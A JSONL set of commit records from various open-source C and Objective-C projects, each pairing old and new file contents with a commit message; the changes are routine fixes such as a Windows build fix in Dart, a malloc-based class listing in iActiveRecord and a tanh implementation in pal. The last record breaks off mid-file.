{"commit":"eda3142317dd8e9e8bfbd73da430dcba57be768c","old_file":"include\/kotlib\/compat\/msvc.h","new_file":"include\/kotlib\/compat\/msvc.h","old_contents":"","new_contents":"\/*!\n * @file  msvc.h\n * @brief  Provide MSVC compatibility\n * @author  koturn\n *\/\n#ifndef KOTLIB_COMPAT_MSVC_H\n#define KOTLIB_COMPAT_MSVC_H\n\n\n#ifndef _MSC_VER\n#  define _declspec(x)\n#  define __declspec(x)\n#endif\n\n\n#endif  \/\/ KOTLIB_COMPAT_MSVC_H\n","subject":"Add header to provide MSVC compatibility","message":"Add header to provide MSVC compatibility\n","lang":"C","license":"mit","repos":"koturn\/kotlib,koturn\/kotlib"}
{"commit":"2f9f822c764b9635807326d6fff442ce799d4438","old_file":"runtime\/platform\/utils_win.h","new_file":"runtime\/platform\/utils_win.h","old_contents":"\/\/ Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#ifndef PLATFORM_UTILS_WIN_H_\n#define PLATFORM_UTILS_WIN_H_\n\n#include <intrin.h>\n\nnamespace dart {\n\ninline int Utils::CountTrailingZeros(uword x) {\n  uword result;\n#if defined(ARCH_IS_32_BIT)\n  _BitScanReverse(&result, x);\n  return __builtin_ctzl(x);\n#elif defined(ARCH_IS_64_BIT)\n  _BitScanReverse64(&result, x);\n#else\n#error Architecture is not 32-bit or 64-bit.\n#endif\n  return static_cast<int>(result);\n};\n\n}  \/\/ namespace dart\n\n#endif  \/\/ PLATFORM_UTILS_WIN_H_\n","new_contents":"\/\/ Copyright (c) 2012, the Dart project authors.  Please see the AUTHORS file\n\/\/ for details. All rights reserved. Use of this source code is governed by a\n\/\/ BSD-style license that can be found in the LICENSE file.\n\n#ifndef PLATFORM_UTILS_WIN_H_\n#define PLATFORM_UTILS_WIN_H_\n\n#include <intrin.h>\n\nnamespace dart {\n\ninline int Utils::CountTrailingZeros(uword x) {\n  unsigned long result;  \/\/ NOLINT\n#if defined(ARCH_IS_32_BIT)\n  _BitScanReverse(&result, x);\n#elif defined(ARCH_IS_64_BIT)\n  _BitScanReverse64(&result, x);\n#else\n#error Architecture is not 32-bit or 64-bit.\n#endif\n  return static_cast<int>(result);\n};\n\n}  \/\/ namespace dart\n\n#endif  \/\/ PLATFORM_UTILS_WIN_H_\n","subject":"Fix the build breakage on Windows caused by CountTrailingZeros.","message":"Fix the build breakage on Windows caused by CountTrailingZeros.\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/\/10818020\n\ngit-svn-id: c93d8a2297af3b929165606efe145742a534bc71@9838 260f80e4-7a28-3924-810f-c04153c831b5\n","lang":"C","license":"bsd-3-clause","repos":"dart-lang\/sdk,dart-archive\/dart-sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dartino\/dart-sdk,dart-lang\/sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dartino\/dart-sdk,dartino\/dart-sdk,dart-archive\/dart-sdk,dart-lang\/sdk,dart-lang\/sdk,dartino\/dart-sdk,dart-archive\/dart-sdk,dart-lang\/sdk,dart-archive\/dart-sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dart-lang\/sdk,dart-archive\/dart-sdk,dartino\/dart-sdk,dart-lang\/sdk,dart-lang\/sdk"}
{"commit":"4cfaf8cd78fdf46a6a6831e2c5ff4eae34809a34","old_file":"lab_2_brightness\/main_window.h","new_file":"lab_2_brightness\/main_window.h","old_contents":"#ifndef MAIN_WINDOW_H\n#define MAIN_WINDOW_H\n\n#include <QGroupBox>\n#include <QVBoxLayout>\n\n#include <base_window.h>\n\nclass MainWindow : public gui::BaseWindow {\npublic:\n    MainWindow();\n    virtual ~MainWindow();\n\nprotected:\n    \/**\n     * Callback for resize window.\n     *\n     * @param event[in] Event params.\n     *\/\n    void resizeEvent(QResizeEvent *event) override;\n\nprivate:\n    \/** Result image and it's container *\/\n    QImage result_image;\n    QLabel *result_image_label;\n};\n\n#endif \/\/ MAIN_WINDOW_H\n","new_contents":"#ifndef MAIN_WINDOW_H\n#define MAIN_WINDOW_H\n\n#include <QGroupBox>\n#include <QVBoxLayout>\n\n#include <base_window.h>\n\nclass MainWindow : public gui::BaseWindow {\npublic:\n    MainWindow();\n    virtual ~MainWindow();\n\nprotected:\n    \/**\n     * Callback for resize window.\n     *\n     * @param event[in] Event params.\n     *\/\n    void resizeEvent(QResizeEvent *event) override;\n\nprivate slots:\n    void fix_color_correct();\n    void gray_world();\n    void gamma_correct();\n    void contrast_correct();\n    void hist_normalization();\n    void hist_equalization();\n\nprivate:\n    \/** Result image and it's container *\/\n    QImage result_image;\n    QLabel *result_image_label;\n};\n\n#endif \/\/ MAIN_WINDOW_H\n","subject":"Add slots for second lab","message":"Add slots for second lab\n","lang":"C","license":"mit","repos":"Dmitry94\/Image_Processing,Dmitry94\/Image_Processing,Dmitry94\/Image_Processing"}
{"commit":"80d8a396ee09d9117594ce512ba4133a996568ae","old_file":"cras\/src\/server\/cras_volume_curve.c","new_file":"cras\/src\/server\/cras_volume_curve.c","old_contents":"\/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <stddef.h>\n\n\/* Default to 1dB per tick.  Volume level 100 = 0dB level 0 = -100dB. *\/\nlong cras_volume_curve_get_db_for_index(size_t volume)\n{\n\t\/* dB to cut * 100 *\/\n\treturn (volume - 100) * 100;\n}\n","new_contents":"\/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <stddef.h>\n\n\/* Default to 1dB per tick.\n * Volume = 100 -> 0dB.\n * Volume = 0 -> -100dB. *\/\nlong cras_volume_curve_get_db_for_index(size_t volume)\n{\n\t\/* dB to cut * 100 *\/\n\treturn (volume - 100) * 100;\n}\n","subject":"Fix poorly worded volume comment.","message":"CRAS: Fix poorly worded volume comment.\n\nBUG=none\nTEST=none\n\nChange-Id: I7a5854c84bc48a393fa65c374fddd83ce7721f8d\nSigned-off-by: Dylan Reid <c791bfe44996c1eed9c7149a0c5f12a86d58eb85@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd,drinkcat\/adhd"}
{"commit":"0d766ad199ed257aea53398011d0c833f6cc86d7","old_file":"runtime\/CLSmith.h","new_file":"runtime\/CLSmith.h","old_contents":"","new_contents":"#ifndef RANDOM_RUNTIME_H\n#define RANDOM_RUNTIME_H\n\n#include \"safe_math_macros.h\"\n\nstatic uint32_t crc32_tab[256];\nstatic uint32_t crc32_context = 0xFFFFFFFFUL;\n\n\/*static void \ncrc32_gentab (void)\n{\n\tuint32_t crc;\n\tconst uint32_t poly = 0xEDB88320UL;\n\tint i, j;\n\t\n\tfor (i = 0; i < 256; i++) {\n\t\tcrc = i;\n\t\tfor (j = 8; j > 0; j--) {\n\t\t\tif (crc & 1) {\n\t\t\t\tcrc = (crc >> 1) ^ poly;\n\t\t\t} else {\n\t\t\t\tcrc >>= 1;\n\t\t\t}\n\t\t}\n\t\tcrc32_tab[i] = crc;\n\t}\n}\n\nstatic void \ncrc32_byte (uint8_t b) {\n\tcrc32_context = \n\t\t((crc32_context >> 8) & 0x00FFFFFF) ^ \n\t\tcrc32_tab[(crc32_context ^ b) & 0xFF];\n}\n\nstatic void \ncrc32_8bytes (uint64_t val)\n{\n\tcrc32_byte ((val>>0) & 0xff);\n\tcrc32_byte ((val>>8) & 0xff);\n\tcrc32_byte ((val>>16) & 0xff);\n\tcrc32_byte ((val>>24) & 0xff);\n\tcrc32_byte ((val>>32) & 0xff);\n\tcrc32_byte ((val>>40) & 0xff);\n\tcrc32_byte ((val>>48) & 0xff);\n\tcrc32_byte ((val>>56) & 0xff);\n}\n\nstatic void \ntransparent_crc (uint64_t val, const __constant char* vname, int flag)\n{\n\tcrc32_8bytes(val);\n}*\/\n\nstatic inline void crc32_gentab (void)\n{\n}\n\nstatic inline void \ntransparent_crc (uint32_t val, const __constant char* vname, int flag)\n{\n  crc32_context += val;\n}\n\n#endif \/* RANDOM_RUNTIME_H *\/\n","subject":"Include for OpenCL progs. Similar to the csmith include. Will only work with the minimal version at the moment.","message":"Include for OpenCL progs. Similar to the csmith include. Will only work with the minimal version at the moment.\n","lang":"C","license":"bsd-2-clause","repos":"ChrisLidbury\/CLSmith,ChrisLidbury\/CLSmith,ChrisLidbury\/CLSmith,ChrisLidbury\/CLSmith,ChrisLidbury\/CLSmith"}
{"commit":"bb7e3ee1c8bb59b4fde439565bd1757880cbb8ec","old_file":"xchainer\/arithmetic_ops.h","new_file":"xchainer\/arithmetic_ops.h","old_contents":"#pragma once\n\n#include \"xchainer\/macro.h\"\n\nnamespace xchainer {\n\ntemplate <typename T>\nclass ArithmeticOps {\npublic:\n    XCHAINER_HOST_DEVICE static T Add(T lhs, T rhs) { return lhs + rhs; }\n    XCHAINER_HOST_DEVICE static T Multiply(T lhs, T rhs) { return lhs * rhs; }\n    XCHAINER_HOST_DEVICE static T Divide(T lhs, T rhs) { return lhs \/ rhs; }\n};\n\ntemplate <>\nclass ArithmeticOps<bool> {\npublic:\n    XCHAINER_HOST_DEVICE static bool Add(bool lhs, bool rhs) { return lhs || rhs; }\n    XCHAINER_HOST_DEVICE static bool Multiply(bool lhs, bool rhs) { return lhs && rhs; }\n    XCHAINER_HOST_DEVICE static bool Divide(bool lhs, bool rhs) { return lhs && rhs; }\n};\n\n}  \/\/ namespace xchainer\n","new_contents":"#pragma once\n\n#include \"xchainer\/macro.h\"\n\nnamespace xchainer {\n\ntemplate <typename T>\nclass ArithmeticOps {\npublic:\n    XCHAINER_HOST_DEVICE static T Add(T lhs, T rhs) { return lhs + rhs; }\n    XCHAINER_HOST_DEVICE static T Multiply(T lhs, T rhs) { return lhs * rhs; }\n    XCHAINER_HOST_DEVICE static T Divide(T lhs, T rhs) { return lhs \/ rhs; }\n};\n\ntemplate <>\nclass ArithmeticOps<bool> {\npublic:\n    XCHAINER_HOST_DEVICE static bool Add(bool lhs, bool rhs) { return lhs || rhs; }\n    XCHAINER_HOST_DEVICE static bool Multiply(bool lhs, bool rhs) { return lhs && rhs; }\n    \/\/ TODO(beam2d): It's a tentative implementation. Make distinction between TrueDivide and FloorDivide for better NumPy compatibility.\n    \/\/ The current implementation is of boolean FloorDivide except for warnings.\n    XCHAINER_HOST_DEVICE static bool Divide(bool lhs, bool rhs) { return lhs && rhs; }\n};\n\n}  \/\/ namespace xchainer\n","subject":"Add a TODO comment about boolean division","message":"Add a TODO comment about boolean division\n","lang":"C","license":"mit","repos":"okuta\/chainer,pfnet\/chainer,hvy\/chainer,ktnyt\/chainer,okuta\/chainer,jnishi\/chainer,wkentaro\/chainer,keisuke-umezawa\/chainer,niboshi\/chainer,keisuke-umezawa\/chainer,hvy\/chainer,ktnyt\/chainer,wkentaro\/chainer,niboshi\/chainer,okuta\/chainer,ktnyt\/chainer,jnishi\/chainer,niboshi\/chainer,jnishi\/chainer,keisuke-umezawa\/chainer,okuta\/chainer,chainer\/chainer,wkentaro\/chainer,chainer\/chainer,ktnyt\/chainer,hvy\/chainer,wkentaro\/chainer,tkerola\/chainer,hvy\/chainer,niboshi\/chainer,chainer\/chainer,keisuke-umezawa\/chainer,jnishi\/chainer,chainer\/chainer"}
{"commit":"8accd2d73920c43de6e3859f3148ff942b85f28d","old_file":"scripts\/stm32\/embox_stm32_it_template.c","new_file":"scripts\/stm32\/embox_stm32_it_template.c","old_contents":"","new_contents":"\/**\n * GENERATED FILE\n *\/\n#include <kernel\/irq.h>\n\n#include \"main.h\"\n#include \"stm32_PLATFORM_xx_it.h\"\n\n#define EMBOX_STM32_IRQ_HANDLER(prefix) \\\n\tstatic irq_return_t embox_##prefix##_IRQHandler(unsigned int irq_nr, void *data) { \\\n\t\tprefix##_IRQHandler(); \\\n\t\treturn IRQ_HANDLED; \\\n\t}\n\n_IRQ_HANDLERS_DECLARE_\n\nextern void (*cortexm_external_clock_hnd)(void);\n\nint embox_stm32_setup_irq_handlers(void) {\n\tint res = 0;\n\n\tcortexm_external_clock_hnd = SysTick_Handler;\n\n_STM32_IRQ_ATTACH_\n\n\treturn res;\n}\n","subject":"Add forgotten file for 3f2e592","message":"stm32: Add forgotten file for 3f2e592\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"309d7d5860070360f423f25d55cfb1d5a2e9a8ca","old_file":"lib\/stdarg.h","new_file":"lib\/stdarg.h","old_contents":"#ifndef __STDARG_H\n#define __STDARG_H\n\n#include \"sys\/types.h\"\n\ntypedef void *va_list;\n\n#define va_start(l, arg) l = (void *)&arg\n#define va_arg(l, type) (*(type *)(l += __WORDSIZE \/ 8))\n#define va_end(l)\n\n#endif\n","new_contents":"#ifndef __STDARG_H\n#define __STDARG_H\n\n#include \"sys\/types.h\"\n\ntypedef void *va_list;\n\n#define va_start(l, arg) l = (void *)&arg\n\/*\n * va_arg assumes arguments are promoted to\n * machine-word size when pushed onto the stack\n *\/\n#define va_arg(l, type) (*(type *)(l += sizeof *l))\n#define va_end(l)\n\n#endif\n","subject":"Move by machine word size","message":"Move by machine word size\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"c28e0e7d97aba40968b0b9ca96cb7d3b4b7b1fef","old_file":"src\/mesa\/drivers\/dri\/r600\/r700_driconf.h","new_file":"src\/mesa\/drivers\/dri\/r600\/r700_driconf.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2008-2009  Advanced Micro Devices, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and\/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n * THE COPYRIGHT HOLDER(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN\n * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n\/*\n * Authors:\n *   Richard Li <RichardZ.Li@amd.com>, <richardradeon@gmail.com>\n *\/\n\n#ifndef _R700_DRICONF_H_\n#define _R700_DRICONF_H_\n\n#define DRI_CONF_FP_OPTIMIZATION_SPEED   0\n#define DRI_CONF_FP_OPTIMIZATION_QUALITY 1\n\n#endif \/* _R700_DRICONF_H_ *\/\n","subject":"Add missing file from local.","message":"Add missing file from local.\n","lang":"C","license":"mit","repos":"jbarczak\/glsl-optimizer,adobe\/glsl2agal,KTXSoftware\/glsl2agal,jbarczak\/glsl-optimizer,mcanthony\/glsl-optimizer,mcanthony\/glsl-optimizer,benaadams\/glsl-optimizer,wolf96\/glsl-optimizer,metora\/MesaGLSLCompiler,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,dellis1972\/glsl-optimizer,wolf96\/glsl-optimizer,djreep81\/glsl-optimizer,dellis1972\/glsl-optimizer,tokyovigilante\/glsl-optimizer,djreep81\/glsl-optimizer,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,KTXSoftware\/glsl2agal,djreep81\/glsl-optimizer,zeux\/glsl-optimizer,bkaradzic\/glsl-optimizer,adobe\/glsl2agal,mcanthony\/glsl-optimizer,tokyovigilante\/glsl-optimizer,metora\/MesaGLSLCompiler,metora\/MesaGLSLCompiler,zz85\/glsl-optimizer,jbarczak\/glsl-optimizer,wolf96\/glsl-optimizer,mcanthony\/glsl-optimizer,adobe\/glsl2agal,bkaradzic\/glsl-optimizer,adobe\/glsl2agal,benaadams\/glsl-optimizer,zz85\/glsl-optimizer,dellis1972\/glsl-optimizer,benaadams\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,zz85\/glsl-optimizer,mapbox\/glsl-optimizer,mapbox\/glsl-optimizer,bkaradzic\/glsl-optimizer,bkaradzic\/glsl-optimizer,KTXSoftware\/glsl2agal,benaadams\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,KTXSoftware\/glsl2agal,dellis1972\/glsl-optimizer,zz85\/glsl-optimizer,tokyovigilante\/glsl-optimizer,mapbox\/glsl-optimizer,KTXSoftware\/glsl2agal,zeux\/glsl-optimizer,wolf96\/glsl-optimizer,tokyovigilante\/glsl-optimizer,benaadams\/glsl-optimizer,bkaradzic\/glsl-optimizer,djreep81\/glsl-optimizer,tokyovigilante\/glsl-optimizer,zz85\/glsl-optimizer,jbarczak\/glsl-optimizer,adobe\/glsl2agal,jbarczak\/glsl-optimizer,wolf96\/glsl-optimizer,zeux\/glsl-optimizer,zz85\/glsl-optimizer"}
{"commit":"afa8074ccfc405d91803f946d4dcc878886620d0","old_file":"WebDriverAgentLib\/Utilities\/FBConfiguration.h","new_file":"WebDriverAgentLib\/Utilities\/FBConfiguration.h","old_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n Accessors for Global Constants.\n *\/\n@interface FBConfiguration : NSObject\n\n\/*! If set to YES will ask TestManagerDaemon for element visibility *\/\n@property (class, nonatomic, assign) BOOL shouldUseTestManagerForVisibilityDetection;\n\n\/* The maximum typing frequency for all typing activities *\/\n@property (class, nonatomic, assign) NSUInteger maxTypingFrequency;\n\n\/**\n Switch for enabling\/disabling reporting fake collection view cells by Accessibility framework.\n If set to YES it will report also invisible cells.\n *\/\n+ (void)shouldShowFakeCollectionViewCells:(BOOL)showFakeCells;\n\n\/**\n The range of ports that the HTTP Server should attempt to bind on launch\n *\/\n+ (NSRange)bindingPortRange;\n\n\/**\n YES if verbose logging is enabled. NO otherwise.\n *\/\n+ (BOOL)verboseLoggingEnabled;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <Foundation\/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n\/**\n Accessors for Global Constants.\n *\/\n@interface FBConfiguration : NSObject\n\n\/*! If set to YES will ask TestManagerDaemon for element visibility *\/\n+ (void)setShouldUseTestManagerForVisibilityDetection:(BOOL)value;\n+ (BOOL)shouldUseTestManagerForVisibilityDetection;\n\n\/* The maximum typing frequency for all typing activities *\/\n+ (void)setMaxTypingFrequency:(NSUInteger)value;\n+ (NSUInteger)maxTypingFrequency;\n\n\/**\n Switch for enabling\/disabling reporting fake collection view cells by Accessibility framework.\n If set to YES it will report also invisible cells.\n *\/\n+ (void)shouldShowFakeCollectionViewCells:(BOOL)showFakeCells;\n\n\/**\n The range of ports that the HTTP Server should attempt to bind on launch\n *\/\n+ (NSRange)bindingPortRange;\n\n\/**\n YES if verbose logging is enabled. NO otherwise.\n *\/\n+ (BOOL)verboseLoggingEnabled;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Switch from class property to methods","message":"Switch from class property to methods\n\nSummary:\nSome recent changes use class properties, which break building with Xcode 7. This exposes the same API without the new syntax.\nCloses https:\/\/github.com\/facebook\/WebDriverAgent\/pull\/539\n\nDifferential Revision: D4880364\n\nPulled By: marekcirkos\n\nfbshipit-source-id: dace4b2413cb8c52dd0783da03f216da8a26fc97\n","lang":"C","license":"bsd-3-clause","repos":"PiranhaTeam\/WebDriverAgent,ymin\/WebDriverAgent,PiranhaTeam\/WebDriverAgent,PiranhaTeam\/WebDriverAgent,ymin\/WebDriverAgent,ymin\/WebDriverAgent,PiranhaTeam\/WebDriverAgent,ymin\/WebDriverAgent,PiranhaTeam\/WebDriverAgent"}
{"commit":"1b30978d7c553bdb9786286374f02c9e41ebb6bd","old_file":"arch\/sgi\/include\/vmparam.h","new_file":"arch\/sgi\/include\/vmparam.h","old_contents":"\/*\t$OpenBSD: vmparam.h,v 1.9 2011\/05\/30 22:25:22 oga Exp $ *\/\n\/* public domain *\/\n#ifndef _MACHINE_VMPARAM_H_\n#define _MACHINE_VMPARAM_H_\n\n#define\tVM_PHYSSEG_MAX\t32\t\/* Max number of physical memory segments *\/\n\n\/*\n * On Origin and Octane families, DMA to 32-bit PCI devices is restricted.\n *\n * Systems with physical memory after the 2GB boundary need to ensure\n * memory which may used for DMA transfers is allocated from the low\n * memory range.\n *\n * Other systems, like the O2, do not have such a restriction, but can not\n * have more than 2GB of physical memory, so this doesn't affect them.\n *\/\n\n#include <mips64\/vmparam.h>\n\n#endif\t\/* _MACHINE_VMPARAM_H_ *\/\n","new_contents":"\/*\t$OpenBSD: vmparam.h,v 1.10 2014\/07\/13 15:48:32 miod Exp $ *\/\n\/* public domain *\/\n#ifndef _MACHINE_VMPARAM_H_\n#define _MACHINE_VMPARAM_H_\n\n#define\tVM_PHYSSEG_MAX\t32\t\/* Max number of physical memory segments *\/\n\n#include <mips64\/vmparam.h>\n\n#endif\t\/* _MACHINE_VMPARAM_H_ *\/\n","subject":"Remove stale comment which used to explain why we had a special 31-bit freelist for DMA, back when this was applicable.","message":"Remove stale comment which used to explain why we had a special 31-bit freelist\nfor DMA, back when this was applicable.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"3218e01b76602eaa399a7e43caa219d7330855d7","old_file":"iActiveRecord\/Classes\/class_getSubclasses.h","new_file":"iActiveRecord\/Classes\/class_getSubclasses.h","old_contents":"\/\/\n\/\/  class_getSubclasses.h\n\/\/  iActiveRecord\n\/\/\n\/\/  Created by Alex Denisov on 21.03.12.\n\/\/  Copyright (c) 2012 okolodev.org. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <objc\/runtime.h>\n\nstatic NSArray *class_getSubclasses(Class parentClass) {\n    int numClasses = objc_getClassList(NULL, 0);\n    Class classes[sizeof(Class) * numClasses];\n    numClasses = objc_getClassList(classes, numClasses);\n    NSMutableArray *result = [NSMutableArray array];\n    for (NSInteger i = 0; i < numClasses; i++) {\n        Class superClass = classes[i];\n        do {\n            superClass = class_getSuperclass(superClass);\n        } while (superClass && superClass != parentClass);\n\n        if (superClass == nil) {\n            continue;\n        }\n        [result addObject:classes[i]];\n    }\n    return result;\n}\n","new_contents":"\/\/\n\/\/  class_getSubclasses.h\n\/\/  iActiveRecord\n\/\/\n\/\/  Created by Alex Denisov on 21.03.12.\n\/\/  Copyright (c) 2012 okolodev.org. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <objc\/runtime.h>\n\nstatic NSArray *class_getSubclasses(Class parentClass) {\n    int numClasses = objc_getClassList(NULL, 0);\n    Class *classes = NULL;\n    classes = (__unsafe_unretained Class *)malloc(sizeof(Class) * numClasses);\n    numClasses = objc_getClassList(classes, numClasses);\n    NSMutableArray *result = [NSMutableArray array];\n    for (NSInteger i = 0; i < numClasses; i++) {\n        Class superClass = classes[i];\n        do {\n            superClass = class_getSuperclass(superClass);\n        } while (superClass && superClass != parentClass);\n\n        if (superClass == nil) {\n            continue;\n        }\n        [result addObject:classes[i]];\n    }\n    free(classes);\n    return result;\n}\n","subject":"Fix for crashes in iOS 10","message":"Fix for crashes in iOS 10","lang":"C","license":"mit","repos":"AlexDenisov\/iActiveRecord,3dcl\/iActiveRecord,3dcl\/iActiveRecord,AlexDenisov\/iActiveRecord,3dcl\/iActiveRecord,AlexDenisov\/iActiveRecord,3dcl\/iActiveRecord"}
{"commit":"2760cf5a705f1fe853cd163f534f5cc2106cdb8f","old_file":"src\/math\/p_tanh.c","new_file":"src\/math\/p_tanh.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Calculates the hyperbolic tangent of the input vector 'a'.\n * Angles are specified in radians.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_tanh_f32(const float *a, float *c, int n)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        *(c + i) = tanhf(*(a + i));\n    }\n}\n","new_contents":"#include <pal.h>\n\n#include \"p_exp.h\"\n\n\/*\n * tanh z = sinh z \/ cosh z\n *        = (exp z - exp -z) \/ (exp z + ezp -z)\n *        = (exp 2z - 1) \/ (exp 2z + 1)\n *\/\nstatic inline float _p_tanh(const float z)\n{\n    float exp_2z = _p_exp(2.f * z);\n    return (exp_2z - 1.f) \/ (exp_2z + 1.f);\n}\n\n\/**\n *\n * Calculates the hyperbolic tangent of the input vector 'a'.\n * Angles are specified in radians.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_tanh_f32(const float *a, float *c, int n)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        c[i] = _p_tanh(a[i]);\n    }\n}\n","subject":"Implement the hyperbolic tangent function.","message":"math:tanh: Implement the hyperbolic tangent function.\n\nSigned-off-by: Mansour Moufid <ac5f6b12fab5e0d4efa7215e6c2dac9d55ab77dc@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"parallella\/pal,debug-de-su-ka\/pal,parallella\/pal,olajep\/pal,debug-de-su-ka\/pal,mateunho\/pal,8l\/pal,eliteraspberries\/pal,parallella\/pal,aolofsson\/pal,mateunho\/pal,eliteraspberries\/pal,olajep\/pal,mateunho\/pal,parallella\/pal,parallella\/pal,eliteraspberries\/pal,olajep\/pal,8l\/pal,aolofsson\/pal,olajep\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,8l\/pal,debug-de-su-ka\/pal,8l\/pal,eliteraspberries\/pal,aolofsson\/pal,aolofsson\/pal,debug-de-su-ka\/pal,mateunho\/pal,mateunho\/pal"}
{"commit":"c530ab012c5f8053453e5be3c3c093cc7fba10ed","old_file":"base\/inc\/Htypes.h","new_file":"base\/inc\/Htypes.h","old_contents":"\/* @(#)root\/base:$Name:  $:$Id: Htypes.h,v 1.1.1.1 2000\/05\/16 17:00:39 rdm Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_Htypes\n#define ROOT_Htypes\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ Htypes                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Types used by the histogramming classes.                             \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#ifndef ROOT_Rtypes\n#include \"Rtypes.h\"\n#endif\n\ntypedef double         Axis_t;      \/\/Axis values type\ntypedef double         Stat_t;      \/\/Statistics type\n\n#endif\n\n","new_contents":"\/* @(#)root\/base:$Name:  $:$Id: Htypes.h,v 1.2 2000\/06\/13 12:25:52 brun Exp $ *\/\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_Htypes\n#define ROOT_Htypes\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ Htypes                                                               \/\/\n\/\/                                                                      \/\/\n\/\/ Types used by the histogramming classes.                             \/\/\n\/\/                                                                      